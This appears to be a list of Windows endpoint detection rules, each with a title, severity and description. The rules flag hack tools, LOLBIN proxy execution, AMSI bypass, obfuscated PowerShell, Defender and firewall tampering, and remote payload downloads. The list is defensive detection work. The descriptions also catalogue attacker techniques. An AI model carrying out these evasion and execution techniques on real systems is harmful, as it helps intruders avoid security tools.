HackTool - EDRSilencer Execution	high	Detects the execution of EDRSilencer, a tool that leverages Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server based on PE metadata information.
HackTool - Empire PowerShell UAC Bypass	critical	Detects some Empire PowerShell UAC bypass methods
HackTool - GMER Rootkit Detector and Remover Execution	high	Detects the execution GMER tool based on image and hash fields.
HackTool - Impersonate Execution	medium	Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively
Invoke-Obfuscation COMPRESS OBFUSCATION	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation CLIP+ Launcher	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation Obfuscated IEX Invocation	high	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block
Invoke-Obfuscation STDIN+ Launcher	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation Via Stdin	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use Clip	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
HackTool - LocalPotato Execution	high	Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples
HackTool - PowerTool Execution	high	Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files
HackTool - RedMimicry Winnti Playbook Execution	high	Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility
HackTool - PPID Spoofing SelectMyParent Tool Execution	high	Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent
HackTool - SharpEvtMute Execution	high	Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs
HackTool - SharpImpersonation Execution	high	Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively
HackTool - SharpDPAPI Execution	high	Detects the execution of the SharpDPAPI tool based on CommandLine flags and PE metadata. SharpDPAPI is a C# port of some DPAPI functionality from the Mimikatz project.
HackTool - Stracciatella Execution	high	Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.
HackTool - UACMe Akagi Execution	high	Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata
HackTool - WinPwn Execution	high	Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
HackTool - Wmiexec Default Powershell Command	high	Detects the execution of PowerShell with a specific flag sequence that is used by the Wmiexec script
HackTool - XORDump Execution	high	Detects suspicious use of XORDump process memory dumping utility
Suspicious ZipExec Execution	medium	ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.
Potential Fake Instance Of Hxtsr.EXE Executed	medium	HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications. HxTsr.exe is part of Outlook apps, because it resides in a hidden "WindowsApps" subfolder of "C:\Program Files". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe
Use Icacls to Hide File to Everyone	medium	Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files
Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location	high	Detects the use of iexpress.exe to create binaries via Self Extraction Directive (SED) files located in potentially suspicious locations. This behavior has been observed in-the-wild by different threat actors.
Disable Windows IIS HTTP Logging	high	Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)
Suspicious IIS URL GlobalRules Rewrite Via AppCmd	medium	Detects usage of "appcmd" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.
C# IL Code Compilation Via Ilasm.EXE	medium	Detects the use of "Ilasm.EXE" in order to compile C# intermediate (IL) code to EXE or DLL.
ImagingDevices Unusual Parent/Child Processes	high	Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity
Arbitrary File Download Via IMEWDBLD.EXE	high	Detects usage of "IMEWDBLD.exe" to download arbitrary files
InfDefaultInstall.exe .inf Execution	medium	Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.
File Download Via InstallUtil.EXE	medium	Detects use of .NET InstallUtil.exe in order to download arbitrary files. The files will be written to "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\"
Suspicious Execution of InstallUtil Without Log	medium	Uses the .NET InstallUtil.exe application in order to execute image without log
JScript Compiler Execution	low	Detects the execution of the "jsc.exe" (JScript Compiler). Attacker might abuse this in order to compile JScript files on the fly and bypassing application whitelisting.
Kavremover Dropped Binary LOLBIN Usage	high	Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.
Windows Kernel Debugger Execution	medium	Detects execution of the Windows Kernel Debugger "kd.exe".
Potentially Suspicious Child Process of KeyScrambler.exe	medium	Detects potentially suspicious child processes of KeyScrambler.exe
Import LDAP Data Interchange Format File Via Ldifde.EXE	medium	Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.
Uncommon Link.EXE Parent Process	medium	Detects an uncommon parent process of "LINK.EXE". Link.EXE in Microsoft incremental linker. Its a utility usually bundled with Visual Studio installation. Multiple utilities often found in the same folder (editbin.exe, dumpbin.exe, lib.exe, etc) have a hardcode call to the "LINK.EXE" binary without checking its validity. This would allow an attacker to sideload any binary with the name "link.exe" if one of the aforementioned tools get executed from a different location. By filtering the known locations of such utilities we can spot uncommon parent process of LINK.EXE that might be suspicious or malicious.
Suspicious Windows Trace ETW Session Tamper Via Logman.EXE	high	Detects the execution of "logman" utility in order to disable or delete Windows trace sessions
Suspicious CustomShellHost Execution	medium	Detects the execution of CustomShellHost binary where the child isn't located in 'C:\Windows\explorer.exe'
Devtoolslauncher.exe Executes Specified Binary	high	The Devtoolslauncher.exe executes other binary
DeviceCredentialDeployment Execution	medium	Detects the execution of DeviceCredentialDeployment to hide a process from view
Suspicious Diantz Alternate Data Stream Execution	medium	Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.
Suspicious Extrac32 Alternate Data Stream Execution	medium	Extract data from cab file and hide it in an alternate data stream
Gpscript Execution	medium	Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy
Ie4uinit Lolbin Use From Invalid Path	medium	Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories
Launch-VsDevShell.PS1 Proxy Execution	medium	Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.
Potential Manage-bde.wsf Abuse To Proxy Execution	high	Detects potential abuse of the "manage-bde.wsf" script as a LOLBIN to proxy execution
Mavinject Inject DLL Into Running Process	high	Detects process injection using the signed Windows tool "Mavinject" via the "INJECTRUNNING" flag
MpiExec Lolbin	high	Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary
Execute Files with Msdeploy.exe	medium	Detects file execution using the msdeploy.exe lolbin
Execute MSDT Via Answer File	high	Detects execution of "msdt.exe" using an answer file which is simulating the legitimate way of calling msdt via "pcwrun.exe" (For example from the compatibility tab)
OpenWith.exe Executes Specified Binary	high	The OpenWith.exe executes other binary
Indirect Command Execution By Program Compatibility Wizard	low	Detect indirect command execution via Program Compatibility Assistant pcwrun.exe
Execute Pcwrun.EXE To Leverage Follina	high	Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability
Code Execution via Pcwutl.dll	medium	Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.
Execute Code with Pester.bat as Parent	medium	Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)
Execute Code with Pester.bat	medium	Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)
PrintBrm ZIP Creation of Extraction	high	Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.
Pubprn.vbs Proxy Execution	medium	Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.
DLL Execution via Rasautou.exe	medium	Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.
REGISTER_APP.VBS Proxy Execution	medium	Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.
Use of Remote.exe	medium	Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.
Lolbin Runexehelper Use As Proxy	medium	Detect usage of the "runexehelper.exe" binary as a proxy to launch other programs
Suspicious Runscripthelper.exe	medium	Detects execution of powershell scripts via Runscripthelper.exe
Use of Scriptrunner.exe	medium	The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting
Using SettingSyncHost.exe as LOLBin	high	Detects using SettingSyncHost.exe to run hijacked binary
Use Of The SFTP.EXE Binary As A LOLBIN	medium	Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag
SyncAppvPublishingServer Execute Arbitrary PowerShell Code	medium	Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.
SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code	medium	Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs
Potential DLL Injection Or Execution Using Tracker.exe	medium	Detects potential DLL injection and execution using "Tracker.exe"
Use of TTDInject.exe	medium	Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)
Time Travel Debugging Utility Usage	high	Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.
Lolbin Unregmp2.exe Use As Proxy	medium	Detect usage of the "unregmp2.exe" binary as a proxy to launch a custom version of "wmpnscfg.exe"
UtilityFunctions.ps1 Proxy Dll	medium	Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.
Use of VisualUiaVerifyNative.exe	medium	VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.
Visual Basic Command Line Compiler Usage	high	Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.
Use of VSIISExeLauncher.exe	medium	The "VSIISExeLauncher.exe" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries
Use of Wfc.exe	medium	The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.
Potential Register_App.Vbs LOLScript Abuse	medium	Detects potential abuse of the "register_app.vbs" script that is part of the Windows SDK. The script offers the capability to register new VSS/VDS Provider as a COM+ application. Attackers can use this to install malicious DLLs for persistence and execution.
Potential Mftrace.EXE Abuse	medium	Detects child processes of the "Trace log generation tool for Media Foundation Tools" (Mftrace.exe) which can abused to execute arbitrary binaries.
CodePage Modification Via MODE.COM To Russian Language	medium	Detects a CodePage modification using the "mode.com" utility to Russian language. This behavior has been used by threat actors behind Dharma ransomware.
Potential Suspicious Mofcomp Execution	high	Detects execution of the "mofcomp" utility as a child of a suspicious shell or script running utility or by having a suspicious path in the commandline. The "mofcomp" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. Attackers abuse this utility to install malicious MOF scripts
Potential Mpclient.DLL Sideloading Via Defender Binaries	high	Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory.
File Download Via Windows Defender MpCmpRun.EXE	high	Detects the use of Windows Defender MpCmdRun.EXE to download files
Suspicious Msbuild Execution By Uncommon Parent Process	medium	Detects suspicious execution of 'Msbuild.exe' by a uncommon parent process
Windows Defender Definition Files Removed	high	Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files
Potential Arbitrary Command Execution Using Msdt.EXE	high	Detects processes leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability
Suspicious Cabinet File Execution Via Msdt.EXE	medium	Detects execution of msdt.exe using the "cab" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190
Arbitrary File Download Via MSEDGE_PROXY.EXE	medium	Detects usage of "msedge_proxy.exe" to download arbitrary files
Suspicious MSDT Parent Process	high	Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation
Remotely Hosted HTA File Executed Via Mshta.EXE	high	Detects execution of the "mshta" utility with an argument containing the "http" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file
Suspicious JavaScript Execution Via Mshta.EXE	high	Detects execution of javascript code using "mshta.exe".
Potential LethalHTA Technique Execution	high	Detects potential LethalHTA technique where the "mshta.exe" is spawned by an "svchost.exe" process
Suspicious MSHTA Child Process	high	Detects a suspicious process spawning from an "mshta.exe" process, which could be indicative of a malicious HTA script execution
MSHTA Suspicious Execution 01	high	Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism
DllUnregisterServer Function Call Via Msiexec.EXE	medium	Detects MsiExec loading a DLL and calling its DllUnregisterServer function
Suspicious MsiExec Embedding Parent	medium	Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads
Suspicious Msiexec Execute Arbitrary DLL	medium	Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)
Msiexec Quiet Installation	medium	Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)
Suspicious Msiexec Quiet Install From Remote Location	medium	Detects usage of Msiexec.exe to install packages hosted remotely quietly
Potential MsiExec Masquerading	high	Detects the execution of msiexec.exe from an uncommon directory
MsiExec Web Install	medium	Detects suspicious msiexec process starts with web addresses as parameter
Arbitrary File Download Via MSOHTMED.EXE	medium	Detects usage of "MSOHTMED" to download arbitrary files
Arbitrary File Download Via MSPUB.EXE	medium	Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files
Potential Process Injection Via Msra.EXE	high	Detects potential process injection via Microsoft Remote Asssistance (Msra.exe) by looking at suspicious child processes spawned from the aforementioned process. It has been a target used by many threat actors and used for discovery and persistence tactics
Detection of PowerShell Execution via Sqlps.exe	medium	This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.
SQL Client Tools PowerShell Session Detection	medium	This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.
Msxsl.EXE Execution	medium	Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files. Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.
Remote XSL Execution Via Msxsl.EXE	high	Detects the execution of the "msxsl" binary with an "http" keyword in the command line. This might indicate a potential remote execution of XSL files.
New Firewall Rule Added Via Netsh.EXE	medium	Detects the addition of a new rule to the Windows firewall via netsh
Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE	high	Detects Netsh command execution that whitelists a program located in a suspicious location in the Windows Firewall
RDP Connection Allowed Via Netsh.EXE	high	Detects usage of the netsh command to open and allow connections to port 3389 (RDP). As seen used by Sarwent Malware
Firewall Rule Deleted Via Netsh.EXE	medium	Detects the removal of a port or application rule in the Windows Firewall configuration using netsh
Firewall Disabled via Netsh.EXE	medium	Detects netsh commands that turns off the Windows firewall
Netsh Allow Group Policy on Microsoft Defender Firewall	medium	Adversaries may modify system firewalls in order to bypass controls limiting network usage
Firewall Rule Update Via Netsh.EXE	medium	Detects execution of netsh with the "advfirewall" and the "set" option in order to set new values for properties of a existing rule
New Port Forwarding Rule Added Via Netsh.EXE	medium	Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule
RDP Port Forwarding Rule Added Via Netsh.EXE	high	Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule
Unmount Share Via Net.EXE	low	Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation
Password Provided In Command Line Of Net.EXE	medium	Detects a when net.exe is called with a password in the command line
Potential Arbitrary Code Execution Via Node.EXE	high	Detects the execution node.exe which is shipped with multiple software such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc
Node Process Executions	medium	Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud
Nslookup PowerShell Download Cradle - ProcessCreation	medium	Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records
Driver/DLL Installation Via Odbcconf.EXE	medium	Detects execution of "odbcconf" with "INSTALLDRIVER" which installs a new ODBC driver. Attackers abuse this to install and run malicious DLLs.
Suspicious Driver/DLL Installation Via Odbcconf.EXE	high	Detects execution of "odbcconf" with the "INSTALLDRIVER" action where the driver doesn't contain a ".dll" extension. This is often used as a defense evasion method.
New DLL Registered Via Odbcconf.EXE	medium	Detects execution of "odbcconf" with "REGSVR" in order to register a new DLL (equivalent to running regsvr32). Attackers abuse this to install and run malicious DLLs.
Odbcconf.EXE Suspicious DLL Location	high	Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location.
Potentially Suspicious DLL Registered Via Odbcconf.EXE	high	Detects execution of "odbcconf" with the "REGSVR" action where the DLL in question doesn't contain a ".dll" extension. Which is often used as a method to evade defenses.
Response File Execution Via Odbcconf.EXE	medium	Detects execution of "odbcconf" with the "-f" flag in order to load a response file which might contain a malicious action.
Suspicious Response File Execution Via Odbcconf.EXE	high	Detects execution of "odbcconf" with the "-f" flag in order to load a response file with a non-".rsp" extension.
Uncommon Child Process Spawned By Odbcconf.EXE	medium	Detects an uncommon child process of "odbcconf.exe" binary which normally shouldn't have any child processes.
Potential Arbitrary File Download Using Office Application	high	Detects potential arbitrary file download using a Microsoft Office application
Potentially Suspicious Office Document Executed From Trusted Location	high	Detects the execution of an Office application that points to a document that is located in a trusted location. Attackers often used this to avoid macro security and execute their malicious code.
OneNote.EXE Execution of Malicious Embedded Scripts	high	Detects the execution of malicious OneNote documents that contain embedded scripts. When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.
Potential Arbitrary DLL Load Using Winword	medium	Detects potential DLL sideloading using the Microsoft Office winword process via the '/l' flag.
Suspicious Microsoft Office Child Process	high	Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)
Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution	medium	Detects execution of Windows Defender "OfflineScannerShell.exe" from its non standard directory. The "OfflineScannerShell.exe" binary is vulnerable to DLL side loading and will load any DLL named "mpclient.dll" from the current working directory.
Ping Hex IP	high	Detects a ping command that uses a hex encoded IP address
Suspicious Powercfg Execution To Change Lock Screen Timeout	medium	Detects suspicious execution of 'Powercfg.exe' to change lock screen timeout
Potential AMSI Bypass Via .NET Reflection	high	Detects Request to "amsiInitFailed" that can be used to disable AMSI Scanning
Potential AMSI Bypass Using NULL Bits	medium	Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities
Suspicious Obfuscated PowerShell Code	high	Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines
PowerShell Base64 Encoded FromBase64String Cmdlet	high	Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line
PowerShell Base64 Encoded Invoke Keyword	high	Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls
Powershell Base64 Encoded MpPreference Cmdlet	high	Detects base64 encoded "MpPreference" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV
PowerShell Base64 Encoded Reflective Assembly Load	high	Detects base64 encoded .NET reflective loading of Assembly
Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call	high	Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"
Potential Process Execution Proxy Via CL_Invocation.ps1	medium	Detects calls to "SyncInvoke" that is part of the "CL_Invocation.ps1" script to proxy execution using "System.Diagnostics.Process"
PowerShell Base64 Encoded WMI Classes	high	Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.
Assembly Loading Via CL_LoadAssembly.ps1	medium	Detects calls to "LoadAssemblyFromPath" or "LoadAssemblyFromNS" that are part of the "CL_LoadAssembly.ps1" script. This can be abused to load different assemblies and bypass App locker controls.
Potential Script Proxy Execution Via CL_Mutexverifiers.ps1	medium	Detects the use of the Microsoft signed script "CL_mutexverifiers" to proxy the execution of additional PowerShell script commands
Potential PowerShell Obfuscation Via Reversed Commands	high	Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers
ConvertTo-SecureString Cmdlet Usage Via CommandLine	medium	Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity
Potential PowerShell Command Line Obfuscation	high	Detects the PowerShell command lines with special characters
Powershell Defender Disable Scan Feature	high	Detects requests to disable Microsoft Defender features using PowerShell commands
Powershell Defender Exclusion	medium	Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets
Disable Windows Defender AV Security Monitoring	high	Detects attackers attempting to disable Windows Defender using Powershell
Windows Firewall Disabled via PowerShell	medium	Detects attempts to disable the Windows Firewall using PowerShell
Potential PowerShell Downgrade Attack	medium	Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0
Disabled IE Security Features	high	Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features
Obfuscated PowerShell OneLiner Execution	high	Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
Potential Suspicious Windows Feature Enabled - ProcCreation	medium	Detects usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images
Potential Encoded PowerShell Patterns In CommandLine	low	Detects specific combinations of encoding methods in PowerShell via the commandline
Base64 Encoded PowerShell Command Detected	high	Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string
Abuse of Service Permissions to Hide Services Via Set-Service	high	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)
Root Certificate Installed From Susp Locations	high	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.
Unsigned AppX Installation Attempt Using Add-AppxPackage	medium	Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages
Suspicious PowerShell Invocations - Specific - ProcessCreation	medium	Detects suspicious PowerShell invocation command parameters
Potential PowerShell Obfuscation Via WCHAR	high	Detects suspicious encoded character syntax often used for defense evasion
Tamper Windows Defender Remove-MpPreference	high	Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet
RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses	high	Detects calls to the AtomicTestHarnesses "Invoke-ATHRemoteFXvGPUDisablementCommand" which is designed to abuse the "RemoteFXvGPUDisablement.exe" binary to run custom PowerShell code via module load-order hijacking.
Run PowerShell Script from ADS	high	Detects PowerShell script execution from Alternate Data Stream (ADS)
Run PowerShell Script from Redirected Input Stream	high	Detects PowerShell script execution via input stream redirect
PowerShell Set-Acl On Windows Folder	high	Detects PowerShell scripts to set the ACL to a file in the Windows folder
PowerShell Script Change Permission Via Set-Acl	high	Detects PowerShell execution to set the ACL of a file or a folder
Service StartupType Change Via PowerShell Set-Service	medium	Detects the use of the PowerShell "Set-Service" cmdlet to change the startup type of a service to "disabled" or "manual"
Powershell Token Obfuscation - Process Creation	high	Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation
Suspicious X509Enrollment - Process Creation	medium	Detect use of X509Enrollment
Suspicious XOR Encoded PowerShell Command	medium	Detects presence of a potentially xor encoded powershell command
Arbitrary File Download Via PresentationHost.EXE	medium	Detects usage of "PresentationHost" which is a utility that runs ".xbap" (Browser Applications) files to download arbitrary files
XBAP Execution From Uncommon Locations Via PresentationHost.EXE	medium	Detects the execution of ".xbap" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious ".xbap" files any bypass AWL
Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution	medium	Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary
Abusing Print Executable	medium	Attackers can use print.exe for remote file copy
File Download Using ProtocolHandler.exe	medium	Detects usage of "ProtocolHandler" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
Suspicious Provlaunch.EXE Child Process	high	Detects suspicious child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.
Potential Provlaunch.EXE Binary Proxy Execution Abuse	medium	Detects child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.
PUA - AdvancedRun Execution	medium	Detects the execution of AdvancedRun utility
PUA - AdvancedRun Suspicious Execution	high	Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts
PUA - CleanWipe Execution	high	Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.
PUA - DefenderCheck Execution	high	Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.
PUA - Process Hacker Execution	medium	Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes.
PUA - Potential PE Metadata Tamper Using Rcedit	medium	Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.
PUA - System Informer Execution	medium	Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations
Suspicious RASdial Activity	medium	Detects suspicious process related to rasdial.exe
Potentially Suspicious Execution Of Regasm/Regsvcs With Uncommon Extension	medium	Detects potentially suspicious execution of the Regasm/Regsvcs utilities with an uncommon extension.
Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location	medium	Detects potentially suspicious execution of the Regasm/Regsvcs utilities from a potentially suspicious location
Imports Registry Key From a File	medium	Detects the import of the specified file to the registry with regedit.exe.
Imports Registry Key From an ADS	high	Detects the import of a alternate datastream to the registry with regedit.exe.
Suspicious Registry Modification From ADS Via Regini.EXE	high	Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.
Registry Modification Via Regini.EXE	low	Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.
DLL Execution Via Register-cimprovider.exe	medium	Detects using register-cimprovider.exe to execute arbitrary dll file.
IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI	high	Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.
Python Function Execution Security Warning Disabled In Excel	high	Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.
Potential Provisioning Registry Key Abuse For Binary Proxy Execution	high	Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".
Potential PowerShell Execution Policy Tampering - ProcCreation	high	Detects changes to the PowerShell execution policy registry key in order to bypass signing requirements for script execution from the CommandLine
Potential Regsvr32 Commandline Flag Anomaly	medium	Detects a potential command line flag anomaly related to "regsvr32" in which the "/i" flag is used without the "/n" which should be uncommon.
Potentially Suspicious Regsvr32 HTTP IP Pattern	high	Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address.
Potentially Suspicious Regsvr32 HTTP/FTP Pattern	medium	Detects regsvr32 execution to download/install/register new DLLs that are hosted on Web or FTP servers.
Suspicious Regsvr32 Execution From Remote Share	high	Detects REGSVR32.exe to execute DLL hosted on remote shares
Potentially Suspicious Child Process Of Regsvr32	high	Detects potentially suspicious child processes of "regsvr32.exe".
Regsvr32 Execution From Potential Suspicious Location	medium	Detects execution of regsvr32 where the DLL is located in a potentially suspicious location.
Regsvr32 Execution From Highly Suspicious Location	high	Detects execution of regsvr32 where the DLL is located in a highly suspicious locations
Regsvr32 DLL Execution With Suspicious File Extension	high	Detects the execution of REGSVR32.exe with DLL files masquerading as other files
Scripting/CommandLine Process Spawned Regsvr32	medium	Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance.
Regsvr32 DLL Execution With Uncommon Extension	medium	Detects a "regsvr32" execution where the DLL doesn't contain a common file extension.
Add SafeBoot Keys Via Reg Utility	high	Detects execution of "reg.exe" commands with the "add" or "copy" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not
SafeBoot Registry Key Deleted Via Reg.EXE	high	Detects execution of "reg.exe" commands with the "delete" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products
Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE	medium	Detects the usage of "reg.exe" to add Defender folder exclusions. Qbot has been seen using this technique to add exclusions for folders within AppData and ProgramData.
Service Registry Key Deleted Via Reg.EXE	high	Detects execution of "reg.exe" commands with the "delete" flag on services registry key. Often used by attacker to remove AV software services
